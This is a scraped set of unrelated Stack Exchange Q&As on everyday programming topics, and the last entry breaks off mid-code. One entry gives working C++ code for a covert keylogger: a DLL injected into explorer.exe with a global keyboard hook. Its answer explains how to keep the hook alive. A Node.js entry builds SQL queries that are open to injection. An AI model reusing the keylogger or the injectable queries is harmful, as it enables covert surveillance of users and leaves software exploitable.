text:
Q: Power BI - RLS: adding label to a visual and aggregate values I need to set some RLSs on some tables and columns, and for a specific Matrix I want to show all the all the other values, that are not shown to that specific user, summed up together as "Others". I give you an example.
I have a matrix which on the rows and columns has different product categories and the values are the impact in $ that each category has on the others (it is the sum of multiples rows under IMPACT column in the source table). Particularly, the rows are the impacted products while the columns the impacting ones.
The Matrix looks like this:

I want to create an additional label , OTHERS, which has to be displayed both as a column and row, which sums up all the values of the non-shown values. For instance, for the RED RLS categories I want to get a matrix like this:

FYI, I want to keep the totals of the rows and columns.
Does anybody have any ideas?
I tried to create some measures and calculated tables but I was not able to get the final view I want.


text:
Q: Change syntax highlighting to apply at save or runtime only, not while editing Sublime text 4 on windows 11 and debian linux
Syntax highlighting currently applies in real time, while typing. I do not like to see full lines highlighted when I am writing or editing a line, but I do want to see those errors highlighted when saving or running.
Is there a way to change when syntax highlighting is applied?

redpajama_set_name: RedPajamaStackExchange


text:
Q: How do I get jQuery to Load before Bootstrap? I am building a Bootstrap / WordPress site and I am having an issue with bootstrap.min.js loading before jquery, which results in issues like the navigation not working correctly.
Here is how I have the scripts enqueued.
function turtles_scripts() {
    wp_enqueue_style( 'turtles-bootstrap-min', get_template_directory_uri() . '/css/bootstrap.min.css', array(), null, 'all' );
    wp_enqueue_style( 'turtles-style', get_stylesheet_uri() );

    wp_enqueue_script( 'turtles-bootstap-min-js', get_template_directory_uri() . '/js/bootstrap.min.js', array(), 'null', true );
    wp_enqueue_script( 'turtles-navigation', get_template_directory_uri() . '/js/navigation.js', array(), '20120206', true );
    wp_enqueue_script( 'turtles-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20130115', true );

    if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
        wp_enqueue_script( 'comment-reply' );
    }
}
add_action( 'wp_enqueue_scripts', 'turtles_scripts' );

However, when I look at the page source. The Bootstrap is loading before jQuery:
<script type='text/javascript' src='http://turtles.opteradev.com/wp-content/themes/turtles/js/bootstrap.min.js?ver=null'></script>
<script type='text/javascript' src='http://turtles.opteradev.com/wp-content/themes/turtles/js/navigation.js?ver=20120206'></script>
<script type='text/javascript' src='http://turtles.opteradev.com/wp-content/themes/turtles/js/skip-link-focus-fix.js?ver=20130115'></script>
<script type='text/javascript' src='http://turtles.opteradev.com/wp-includes/js/jquery/jquery.js?ver=1.11.1'></script>
<script type='text/javascript' src='http://turtles.opteradev.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1'></script>
<script type='text/javascript' src='http://turtles.opteradev.com/wp-content/plugins/ml-slider/assets/sliders/flexslider/jquery.flexslider-min.js?ver=3.2.1'></script>
<script type='text/javascript' src='http://turtles.opteradev.com/wp-content/plugins/ml-slider-pro/assets/public.js?ver=2.5.1'></script>
<script type='text/javascript' src='http://turtles.opteradev.com/wp-content/plugins/eventON/assets/js/jquery.mobile.min.js?ver=1'></script>

A: In place of your emnpty array() you are able to declare dependencies.  For Script A to load before Script B, declare that A is dependent on B.
Codex reference: http://codex.wordpress.org/Function_Reference/wp_enqueue_script
It's possible you have declared these dependencies within your register statements but these are not given above.

A: Just add array('jquery')to wp_enqueue_script to load the js files after jquery load.


text:
Q: Pause a currently playing YouTube video when a new video slide is clicked in flex slider angularjs I'm using ng-youtube-embed plugin from this link https://github.com/ArunMichaelDsouza/ng-youtube-embed . I have flex slider installed in my website. The videos are being displayed in the flex slider div. Plz see the image attached enter image description here
When i play a video and then click on the other videos in the carousel, then the previously playing video doesn't get paused. I'm attaching the code of my html below:-
`

        <flex-slider slider-id="slider" flex-slide="item in videos track by $index" animation="fade" animation-loop="false" sync="#carousel" slideshow="false" control-nav="false" init-delay="100">

            <ng-youtube-embed
                video="item.id"
                videoid = "myvideo"
                autoplay="false"
                color="white"
                width="1280px"
                height="650px"
                disablekb="true"
                modestbranding="true"
                end="400"
                enablejsapi="true"
                onready="playerReady"
                onstatechange="stateChanged"
                >
            </ng-youtube-embed>

        </flex-slider>

        <flex-slider class="stop" slider-id="carousel" flex-slide="item in videos track by $index" animation="slide" animation-loop="false" item-width="210" item-margin="5" as-nav-for="#slider" slideshow="false" control-nav="false">

            <md-card>

                <md-content>
                 <md-card-title>
                   <md-card-title-text>{{item.title}}</md-card-title-text>
                 </md-card-title>
                 <md-card-content>
                   {{item.description}}
                </md-card-content>
              </md-content>
            </md-card>

        </flex-slider>

`

here is my controller :-
function HomeController(api,$rootScope,$scope,$state,$cookies,$window,ngYoutubeEmbedService)
{
var slider, // Global slider value to force playing and pausing by direct access of the slider control
canSlide = true; // Global switch to monitor video state

// Load the YouTube API. For some reason it's required to load it like this
var tag = document.createElement('script');
tag.src = "https://www.youtube.com/iframe_api";
var firstScriptTag = document.getElementsByTagName('script')[0];
firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);

// Setup a callback for the YouTube api to attach video event handlers
  window.onYouTubeIframeAPIReady = function(){
// Iterate through all videos

$('.flexslider iframe').each(function(){
    // Create a new player pointer; "this" is a DOMElement of the player's iframe
    var player = new YT.Player(this, {
        playerVars: {
            autoplay: 0
        }
    });

    // Watch for changes on the player
    player.addEventListener("onStateChange", function(state){
        switch(state.data)
        {
            // If the user is playing a video, stop the slider
            case YT.PlayerState.PLAYING:
                slider.flexslider("stop");
                canSlide = false;
                break;
            // The video is no longer player, give the go-ahead to start the slider back up
            case YT.PlayerState.ENDED:
            case YT.PlayerState.PAUSED:
                slider.flexslider("play");
                canSlide = true;
                break;
        }
    });

    $(this).data('player', player);
});
}

// Setup the slider control
slider = $(".flexslider")
.flexslider({
animation: "fade",
    easing: "swing",
    slideshowSpeed: 6500,
    animationSpeed: 900,
    pauseOnHover: true,
    pauseOnAction: true,
    touch: true,
    video: true,
    controlNav: true,
    animationLoop: true,
    slideshow: true,
    useCSS: false,
    // Before you go to change slides, make sure you can!
    before: function(){
        if(!canSlide)
            slider.flexslider("stop");
    }
});

slider.on("click", ".flex-prev, .stop, .flex-next", function(){
canSlide = true;
$('.flexslider iframe').each(function(){
$(this).data('player').pauseVideo();
console.dir(player.trackingVideoId);
});
});

$scope.videos = [
    {image: 'assets/images/slides/dream.jpg', id : 'BdN_-EyB224', title:'Blockchain', description: 'Over the past decade, an alternative digital paradigm has slowly been taking shape at the edges of the internet.'},
    {image: 'assets/images/slides/dare.jpg', id : '-38uPkyH9vI', title:'Crowd Funding Explained', description: 'See how to tap the power of the crowd for creative projects (Crowd Creativity), to collect and..'},
    {image: 'assets/images/slides/explore.jpg', id : 'y2Lk8TExz6w', title:'Oyo:India\'s Youngest Billionaire!', description: 'At age of 17 Ritesh Agarwal Founded Oyo Rooms, but he had his own struggles. '},
    {image: 'assets/images/slides/explore.jpg', id : 'xjDV4EiLiuY', title:'Funded in 60 Mins', description: 'From "Kickstarted" (bitly.com/kckstrtd), the documentary about crowdfunding, comes "Funded in 60 Seconds."'},
    {image: 'assets/images/slides/innovate.jpg', id : 'BLpPdJ5V3UA', title:'Crowdfunding Tips ', description: 'Learn how to reach your fundraising goal from Justin Massion, marketing director behind the successful crowdfunding campaign "Space Command" which raised $221K.'},
    {image: 'assets/images/slides/explore.jpg', id : 'xjDV4EiLiuY', title:'Funded in 60 Mins', description: 'From "Kickstarted" (bitly.com/kckstrtd), the documentary about crowdfunding, comes "Funded in 60 Seconds."'},
    {image: 'assets/images/slides/innovate.jpg', id : 'BLpPdJ5V3UA', title:'Crowdfunding Tips ', description: 'Learn how to reach your fundraising goal from Justin Massion, marketing director behind the successful crowdfunding campaign "Space Command" which raised $221K.'},
    {image: 'assets/images/slides/explore.jpg', id : 'xjDV4EiLiuY', title:'Funded in 60 Mins', description: 'From "Kickstarted" (bitly.com/kckstrtd), the documentary about crowdfunding, comes "Funded in 60 Seconds."'},
    {image: 'assets/images/slides/innovate.jpg', id : 'BLpPdJ5V3UA', title:'Crowdfunding Tips ', description: 'Learn how to reach your fundraising goal from Justin Massion, marketing director behind the successful crowdfunding campaign "Space Command" which raised $221K.'}
];
}

This logic work's sometimes.
Most of the time I get the following error's in the console. check the images attached enter image description here
enter image description here
I want the currently playing video to be paused. What I'm I doing wrong?

A: One video at a time in video carousel is quite tricky but easy...
Even I faced the same problem few days ago, while I was working on my video carousel... Finally, I have a solution to it right now... First of all use  tag for embedding youtube videos and type the following in the end of the video's url ?html5=1&enablejsapi=1... Then include the following JavaScript code directly in your project without any editing to it!!
The JavaScript code for the required function is as follows-

I will recommend you to include it in the HTML page itself...
Following is the live example of the solution!!!

/*javascipt for the following slider*/
/* Create an array to hold the different image positions */
      var itemPositions = [];
      var numberOfItems = $('#scroller .item').length;

      /* Assign each array element a CSS class based on its initial position */
      function assignPositions() {
        for (var i = 0; i < numberOfItems; i++) {
          if (i === 0) {
            itemPositions[i] = 'left-hidden';
          } else if (i === 1) {
            itemPositions[i] = 'left';
          } else if (i === 2) {
            itemPositions[i] = 'middle';
          } else if (i === 3) {
            itemPositions[i] = 'right';
          } else {
            itemPositions[i] = 'right-hidden';
          }
        }
        /* Add each class to the corresponding element */
        $('#scroller .item').each(function(index) {
          $(this).addClass(itemPositions[index]);
        });
      }

      /* To scroll, we shift the array values by one place and reapply the classes to the images */
      function scroll(direction) {
        if (direction === 'prev') {
          itemPositions.push(itemPositions.shift());
        } else if (direction === 'next') {
          itemPositions.unshift(itemPositions.pop());
        }
        $('#scroller .item').removeClass('left-hidden left middle right right-hidden').each(function(index) {
          $(this).addClass(itemPositions[index]);
        });
      }

      /* Do all this when the DOMs ready */
      $(document).ready(function() {

        assignPositions();
        var autoScroll = window.setInterval("scroll('next')", 4000);

        /* Hover behaviours */
        $('#scroller').hover(function() {
          window.clearInterval(autoScroll);
          $('.nav').stop(true, true).fadeIn(200);
        }, function() {
          $('.nav').stop(true, true).fadeOut(200);
        });

        /* Click behaviours */
        $('.prev').click(function() {
          scroll('prev');
        });
        $('.next').click(function() {
          scroll('next');
        });

      });
html {
  scroll-behavior: smooth;
}

body {
  overflow-x: hidden;
  margin: 0;
  padding: 0;
  width: 100vw;
  user-select: none;
  -ms-overflow-style: none;
}

body::-webkit-scrollbar {
  display: none;
}

.carousel {
  background-image: url(carousel1.jpg);
  width: 100vw;
  height: 52.5vw;
  background-size: 100vw 52.5vw;
}

#scroller {
  position: absolute;
  top: 12vw;
  left: 25vw;
  width: 50vw;
  height: 28vw;
  margin: 0 auto;
  padding: 0;
  -webkit-perspective: 40vw;
  -moz-perspective: 50vw;
  -o-perspective: 50vw;
}

#scroller .item {
  width: 50vw;
  height: 28vw;
  display: block;
  position: absolute;
  border-radius: 1vw;
  -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.85, transparent), to(rgba(255, 255, 255, 0.15)));
  -webkit-transition: all 0.4s ease-in-out;
  -moz-transition: all 0.4s ease-in-out;
  -o-transition: all 0.4s ease-in-out;
  z-index: 0;
}
/* Since inset shadows don't play nice with images, we'll create a pseudo element and apply our image styling to that instead */

#scroller .item .youtube-video {
  display: block;
  border-radius: 1vw;
}

#scroller .left {
  pointer-events: none;
  -webkit-transform: rotateY(25deg) translateX(-320px) skewY(-5deg) scale(0.4, 0.6);
  -moz-transform: rotateY(25deg) translateX(-320px) skewY(-5deg) scale(0.4, 0.6);
  -o-transform: rotateY(25deg) translateX(-320px) skewY(-5deg) scale(0.4, 0.6);
}

#scroller .middle {
  z-index: 1;
  -webkit-transform: rotateY(0deg) translateX(0) scale(1);
  -moz-transform: rotateY(0deg) translateX(0) scale(1);
  -o-transform: rotateY(0deg) translateX(0) scale(1);
}

#scroller .right {
  pointer-events: none;
  -webkit-transform: rotateY(-25deg) translateX(320px) skewY(5deg) scale(0.4, 0.6);
  -moz-transform: rotateY(-25deg) translateX(320px) skewY(5deg) scale(0.4, 0.6);
  -o-transform: rotateY(-25deg) translateX(320px) skewY(5deg) scale(0.4, 0.6);
}

#scroller .left-hidden {
  opacity: 0;
  z-index: -1;
  pointer-events: none;
  -webkit-transform: rotateY(25deg) translateX(-430px) skewY(-5deg) scale(0.3, 0.5);
  -moz-transform: rotateY(25deg) translateX(-430px) skewY(-5deg) scale(0.3, 0.5);
  -o-transform: rotateY(25deg) translateX(-430px) skewY(-5deg) scale(0.3, 0.5);
}

#scroller .right-hidden {
  opacity: 0;
  z-index: -1;
  pointer-events: none;
  -webkit-transform: rotateY(-25deg) translateX(430px) skewY(5deg) scale(0.3, 0.5);
  -moz-transform: rotateY(-25deg) translateX(430px) skewY(5deg) scale(0.3, 0.5);
  -o-transform: rotateY(-25deg) translateX(430px) skewY(5deg) scale(0.3, 0.5);
}

.nav {
  position: absolute;
  width: 50vw;
  height: 2vw;
  margin: 14vw 0 0;
  z-index: 2;
  display: none;
}

.prev,
.next {
  position: absolute;
  display: block;
  height: 2vw;
  width: 2vw;
  background-color: rgba(255, 255, 255, 0.85);
  border-radius: 2vw;
  color: #1d1919;
  bottom: 20px;
  font-size: 2vw;
  text-align: center;
  line-height: 1.5vw;
  cursor: pointer;
  border: 2px solid #000;
}

.prev {
  left: 1vw;
}

.next {
  left: inherit;
  right: 1vw;
}

.prev:hover,
.next:hover {
  border: 0.01vw solid #000;
}
<!DOCTYPE html>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <link rel="stylesheet" type="text/css" href="index1.css">

    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">

    <title>Gully Ball - carousel</title>
    <link rel="icon" href="logo.png" type="image/jpg" sizes="18x18">

          «
          »

Have a nice day!!
Regards,
Om Chaudhary


text:
Q: Infinite loop in a dll injected on explorer.exe I'm trying to create a keylogger on windows 7. To do It, I have created a Dll (setHook.dll) that I inject in a new thread of explorer.exe. In this first DLL, I open an other dll which contains a function (hookfunc) called on each keyboard input.
I need to let my Dll works in background because if it dies, I lost my Hook function.
To do It, I have tried :

*

*Sleep(INFINITE); : works a moment but explorer.exe crash

*while(1); : works a moment but explorer.exe crash

*system("pause") : working ! But I don't want a console appears on the screen, my keylogger has to be discreet.

*getchar(): same as system("pause");

*system("pause > null"); : access denied

*this_thread::sleep_for(chrono::seconds(10)) : explorer crash

SetHook.dll :
BOOL WINAPI  DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
    HMODULE dll;
    HOOKPROC addr;
    HHOOK handle;

    if (dwReason != DLL_PROCESS_ATTACH)
        return true;
    if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll")))
        return false;
    if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
        return false;
    if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
        return false;
    Sleep(INFINITE); //issue here
    return true;
}

CallbackFunc : (I don't think it can help)
LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam)
{
    std::ofstream file;
    WORD buf = 0;
    BYTE KeyState[256];
    file.open("E:\\function.txt", std::ofstream::out | std::ofstream::app);
    if (code >= 0 && KEYUP(lParam))
    {
        if (wParam == VK_RETURN)
            file << "[ENTER]";
        else
        {
            GetKeyboardState(KeyState);
            ToAscii(wParam, lParam, KeyState, &buf, 0);
            file << (char)buf;
        }
    }
    file.close();
    return (CallNextHookEx(NULL, code, wParam, lParam));
}

The code works, I just need a discreet infinite loop instead of Sleep(INFINITE). Any idea ?

A: Sleeping in DllMain is almost certainly a bad idea.
I assume you are trying to install a global hook. To do this, you need to run the message loop in your injector application, i.e. something like:
while(GetMessage(&msg, NULL, 0, 0 ))
{
   TranslateMessage(&msg);
   DispatchMessage(&msg);
}


text:
Q: FontAwesome instagram icon - colorized Any one know how to show the FontAwesome icon for Instagram and style it to be shown with the new Instagram icon multi colors?
New instagram icon

A: instagram {
    background: radial-gradient(circle at 30% 107%, #fdf497 0%, #fdf497 5%, #fd5949 45%, #d6249f 60%, #285AEB 90%);
    background: -webkit-radial-gradient(circle at 30% 107%, #fdf497 0%, #fdf497 5%, #fd5949 45%, #d6249f 60%, #285AEB 90%);
}

Adding a CSS class like this works for me.

A: I was trying to do the same. I found this is solution after several attempt.

.fa.fa-instagram {
  color: transparent;
  background: radial-gradient(circle at 30% 107%, #fdf497 0%, #fdf497 5%, #fd5949 45%, #d6249f 60%, #285AEB 90%);
  background: -webkit-radial-gradient(circle at 30% 107%, #fdf497 0%, #fdf497 5%, #fd5949 45%, #d6249f 60%, #285AEB 90%);
  background-clip: text;
  -webkit-background-clip: text;
}
<html>

<head>
  <link href="http://maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet" />
</head>

<body>
  <i class="fa fa-instagram fa-5x"></i>
</body>

</html>

A: i dont think you will get the exact color sheme but this fiddle
    background-image: -webkit-gradient( linear, left top, right top, color-stop(0, #f22), color-stop(0.15, #f2f), color-stop(0.3, #22f), color-stop(0.45, #2ff), color-stop(0.6, #2f2),color-stop(0.75, #2f2), color-stop(0.9, #ff2), color-stop(1, #f22) );
    background-image: gradient( linear, left top, right top, color-stop(0, #f22), color-stop(0.15, #f2f), color-stop(0.3, #22f), color-stop(0.45, #2ff), color-stop(0.6, #2f2),color-stop(0.75, #2f2), color-stop(0.9, #ff2), color-stop(1, #f22) );
    color:transparent;
   -webkit-background-clip: text;
   background-clip: text;

found here might help


text:
Q: associative array show empty value hi everyone I tried to develop chat app using node js and socket.io for back end , my problem is empty value of associated array
            socket.on('nickName', (data) => {

    console.log(data)

    var roomId;

    con.query("SELECT user_id FROM nickname WHERE user_id = '" + String(data) + "'", (err, result) => {

        if (err) {
            throw err;
        }
        console.log(result)
        if (result == undefined || result[0] == undefined) {

            con.query("INSERT INTO nickname (user_id,socket_id) VALUES ('" + data + "','" + socket.id + "')")
        } else {
            con.query("UPDATE nickname  SET socket_id = '" + socket.id + "' WHERE user_id = '" + data + "' ", (err, result) => {

            })
        }
    })
    con.query("SELECT * FROM room WHERE user_id = '" + data + "'", (err, result) => {

        if(err){
            throw err;
        }else{
            io.to(socket.id).emit('getChatList', { "chatList": result })

            var unread = {}
                        result.forEach(Element=>{

                           roomId = Element.room_name

                           con.query("SELECT COUNT(*) FROM message  WHERE room_id = '"+roomId+"' AND seen=0 AND to_user='"+data+"'",(err,unseen)=>{
                               if(err){
                                   throw err;
                               }else{

            // I trying set value to unread array
                                unread[roomId] =unseen[0]['COUNT(*)'] ;

                            // unread array work correctly
                               console.log(unread)
                               }
                            })
                            // problem is here print unread empty ({})in
                           // console.
                            console.log(unread)

                        })

        }

    })
});

unread array show empty value but when I put for example unread['A'] ='C' ; out of query block everything works fine , anyone can help me?

A: I solved my problem by using async.each() instead of result.forEach()
  socket.on('nickName', (data) => {
    console.log(data)

    var roomId;

    clients[data] = socket.id;
    con.query("SELECT user_id FROM nickname WHERE user_id = '" + String(data) + "'", (err, result) => {

        if (err) {
            throw err;
        }
        console.log(result)
        if (result == undefined || result[0] == undefined) {

            con.query("INSERT INTO nickname (user_id,socket_id) VALUES ('" + data + "','" + socket.id + "')")
        } else {
            con.query("UPDATE nickname  SET socket_id = '" + socket.id + "' WHERE user_id = '" + data + "' ", (err, result) => {

            })
        }
    })

    con.query("SELECT * FROM room WHERE user_id = '" + data + "'", (err, result) => {

        if(err){
            throw err;
        }else{
            io.to(socket.id).emit('getChatList', { "chatList": result })

            var unread = {};

                       asyncc.each(result,function(Element,callbackk){

                           roomId = Element.room_name
                           console.log(Element)

                           con.query("SELECT COUNT(*) FROM message  WHERE room_id = '"+Element.room_name+"' AND seen=0 AND to_user='"+data+"'",(err,unseen)=>{
                               if(err){
                                   throw err;

                               }else{

                           console.log(unseen)
                               console.log(Element.room_name)
                              unread[Element.room_name] = unseen[0]['COUNT(*)'] ;

                               }

                               callbackk();

                            })

                        },function(er){

                            console.log(unread)

                        })

        }

    })

});


text:
Q: Error while writing container response in Jersey 2.x Application I'm getting compilation error in code for writing container response in my jersey application.
I have posted the code below, is anyone can help me ?
Im using Jersey 2.37
Thanks
ContainerResponseWriter filter(ContainerRequest request, ContainerResponseWriter response){
response.setContainerResponseWritter(new Adaptor(response.getContainerResponseWritter()));

}
error:incompatable types:ContainerResponse cannot be converted to ContainerResponseWriter


text:
Q: how to create a spider chart pointing towards single point in html i am trying to create aan html object, like below

like this picture in HTML, while hovering display pictures or something.
I just need something like this which contains child texts pointing towards parents texts
I searched a lot, but I don't its name.
How to search it or any examples?


text:
Q: don't know Connection string parameter in C# i am developing an application in C#,i have create database1.mdf by
right clicking on my project,add item
then creating a database.
my intial problem was,i was able to execute query correctly but those modification wasn't reflected in main database
finally after lot of surfing i changed copy to output directory to copy if newer but still i am not able to rectify my problem.
now i am feeling that i need to connect to sqlserver using connectionstring but i don't know username,servername,password etc...
can anyone help me please

A: if you want to connect database in csharp so visual studio will help you to connect with database

*

*go to solution explorer right click on project and add new item and select         service-base database click add.

*Now Go to Server explorer look there is database with .mdf extension
expand it right click on table and create table your self.

*After creating table you need connection string to connect your application to database.

*you connection string look like this
string databaseFileName="Your database file with .mdf extension like database1.mdf";
string connectionString=@"Data Source=(LocalDB)\v11.0;AttachDbFilename=|DataDirectory|\"+databaseFileName+";Integrated Security=True";

*SqlConnection conn=new SqlConnection(connectionString);
conn.Open();
Console.writeLine(conn.State.ToString());/*this will show your database state is open or close.
Note:Here i am using visual studion 2013 other (LocalDB)\v11.0 this could be changed .


text:
Q: Calling the a seek bar layout on multiple times with different activities Hi I am trying to call my multiple seekbar layout in a java where multiple activies it takes place. But I not getting an idea how to do that.
Here is my sample java code
US1 = (SeekBar) findViewById(R.id.US1);
US2 = (SeekBar) findViewById(R.id.US2);
US3 = (SeekBar) findViewById(R.id.US3);

if(day=1)
{
if (Q=1)
{
US1.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener()
TextView d1Q1U1 = (TextView)findViewById(R.id.UPer1);
 @Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
d1Q1U1.setText(Integer.toString(progress)+"%") ;
                    }
US2.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener()
TextView d1Q1U2 = (TextView)findViewById(R.id.UPer1);
 @Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
d1Q1U2.setText(Integer.toString(progress)+"%") ;
                    }
US3.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener()
TextView d1Q1U3 = (TextView)findViewById(R.id.UPer1);
 @Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
d1Q1U3.setText(Integer.toString(progress)+"%") ;
                    }

//later on I need to use d1q1U1,d1q1U2,d1q1U3 for storing the variables
}
else if(Q=2)
{
US1.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener()
TextView d1Q2U1 = (TextView)findViewById(R.id.UPer1);
 @Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
d1Q2U1.setText(Integer.toString(progress)+"%") ;
                    }
US2.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener()
TextView d1Q2U2 = (TextView)findViewById(R.id.UPer1);
 @Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
d1Q2U2.setText(Integer.toString(progress)+"%") ;
                    }
US3.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener()
TextView d1Q2U3 = (TextView)findViewById(R.id.UPer1);
 @Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
d1Q2U3.setText(Integer.toString(progress)+"%") ;
                    }
}
//later on I need to use d1q2U1,d1q2U2,d1q2U3 for storing the variables
}
}
else id(day=2)
{
if (Q=1)
{
US1.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener()
TextView d2Q1U1 = (TextView)findViewById(R.id.UPer1);
 @Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
d2Q1U1.setText(Integer.toString(progress)+"%") ;
                    }
US2.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener()
TextView d1Q1U2 = (TextView)findViewById(R.id.UPer1);
 @Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
d2Q1U2.setText(Integer.toString(progress)+"%") ;
                    }
US3.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener()
TextView d2Q1U3 = (TextView)findViewById(R.id.UPer1);
 @Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
d2Q1U3.setText(Integer.toString(progress)+"%") ;
                    }

//later on I need to use d2q1U1,d2q1U2,d2q1U3 for storing the variables
}
else if(Q=2)
{
US1.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener()
TextView d2Q2U1 = (TextView)findViewById(R.id.UPer1);
 @Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
d2Q2U1.setText(Integer.toString(progress)+"%") ;
                    }
US2.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener()
TextView d1Q2U2 = (TextView)findViewById(R.id.UPer1);
 @Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
d2Q2U2.setText(Integer.toString(progress)+"%") ;
                    }
US3.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener()
TextView d2Q2U3 = (TextView)findViewById(R.id.UPer1);
 @Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
d2Q2U3.setText(Integer.toString(progress)+"%") ;
                    }
}
//later on I need to use d2q2U1,d2q2U2,d2q2U3 for storing the variables
}
}

This how my code looks like How can I am do this in a single java class I was trying but I am getting an error so any one please help me in solving this logic
This is my actual code when it was assumed that selected d=1 and Q=1
@Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.day1q1);
        myValues=getIntent().getExtras();
        US1 = (SeekBar) findViewById(R.id.US1);
        US1.setOnSeekBarChangeListener(this);
        US2= (SeekBar) findViewById(R.id.US2);
        US2.setOnSeekBarChangeListener(this);
        US3= (SeekBar) findViewById(R.id.US3);
        US3.setOnSeekBarChangeListener(this);
        US4= (SeekBar) findViewById(R.id.US4);
        US4.setOnSeekBarChangeListener(this);
        US5= (SeekBar) findViewById(R.id.US5);
        US5.setOnSeekBarChangeListener(this);
        US6= (SeekBar) findViewById(R.id.US6);
        US6.setOnSeekBarChangeListener(this);

        UPer1= (TextView)findViewById(R.id.UPer1);
        UPer2= (TextView)findViewById(R.id.UPer2);
        UPer3= (TextView)findViewById(R.id.UPer3);
        UPer4= (TextView)findViewById(R.id.Uper4);
        UPer5= (TextView)findViewById(R.id.UPer5);
        UPer6= (TextView)findViewById(R.id.UPer6);
       TextView welcomeMsg = (TextView)findViewById(R.id.username);
        welcomeMsg.setText("name : "+myValues.getString("value"));

        User1 = (TextView) findViewById(R.id.UN1);
        User2 = (TextView) findViewById(R.id.UN2);
        User3 = (TextView) findViewById(R.id.UN3);
        User4 = (TextView) findViewById(R.id.UN4);
        User5 = (TextView) findViewById(R.id.UN5);
        User6 = (TextView) findViewById(R.id.UN6);

        // Getting complete product details in background thread
        new Userdetails().execute();

           ok = (Button)findViewById(R.id.ok);
            nextQ = (Button)findViewById(R.id.nextquestion);
            cancel= (Button)findViewById(R.id.cancel);

            ok.setOnClickListener(new View.OnClickListener() {

                @Override
                public void onClick(View v) {
                    dialog = ProgressDialog.show(day1q1.this, "",
                            "storing the data...", true);
                     new Thread(new Runnable() {
                            public void run() {
                                insert();
                            }
                          }).start();
                }

            });

            cancel.setOnClickListener(new OnClickListener() {

                @Override
                public void onClick(View v) {
                    myIntent=new Intent(day1q1.this, day1q1.class);

                    String uname;
                    uname=myValues.getString("value").toString();

                    myIntent.putExtra("value", uname);
                    startActivity(myIntent);

                }

            });

    }

    @Override
    public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {

        switch (seekBar.getId())
        {

        case R.id.US1:

            UPer1.setText(Integer.toString(progress)+"%") ;
            //Toast.makeText(discipline.this, "Seekbar Value : " + progress, Toast.LENGTH_SHORT).show();
            break;

case R.id.US2:
    UPer2.setText(Integer.toString(progress)+"%") ;
            //Toast.makeText(discipline.this, "Seekbar Value : " + progress, Toast.LENGTH_SHORT).show();
            break;
case R.id.US3:

    UPer3.setText(Integer.toString(progress)+"%") ;
    //Toast.makeText(discipline.this, "Seekbar Value : " + progress, Toast.LENGTH_SHORT).show();
    break;

case R.id.US4:
UPer4.setText(Integer.toString(progress)+"%") ;
    //Toast.makeText(discipline.this, "Seekbar Value : " + progress, Toast.LENGTH_SHORT).show();
    break;
case R.id.US5:

    UPer5.setText(Integer.toString(progress)+"%") ;
    //Toast.makeText(discipline.this, "Seekbar Value : " + progress, Toast.LENGTH_SHORT).show();
    break;

case R.id.US6:
UPer6.setText(Integer.toString(progress)+"%") ;
    //Toast.makeText(discipline.this, "Seekbar Value : " + progress, Toast.LENGTH_SHORT).show();
    break;

        }
    }

    @Override
    public void onStartTrackingTouch(SeekBar arg0) {
        // TODO Auto-generated method stub

    }

    @Override
    public void onStopTrackingTouch(SeekBar arg0) {
        // TODO Auto-generated method stub

    }

    void insert(){
        try{

            httpclient=new DefaultHttpClient();
            httppost= new HttpPost("http://5.39.186.164/day1q1.php"); // make sure the url is correct.

            //add your data
            nameValuePairs = new ArrayList<NameValuePair>();
            // Always use the same variable name for posting i.e the android side variable name and php side variable name should be similar,
            nameValuePairs.add(new BasicNameValuePair("user",myValues.getString("value").toString()));
            nameValuePairs.add(new BasicNameValuePair("UPer1",UPer1.getText().toString()));
            nameValuePairs.add(new BasicNameValuePair("UPer2",UPer2.getText().toString()));
            nameValuePairs.add(new BasicNameValuePair("UPer3",UPer3.getText().toString()));
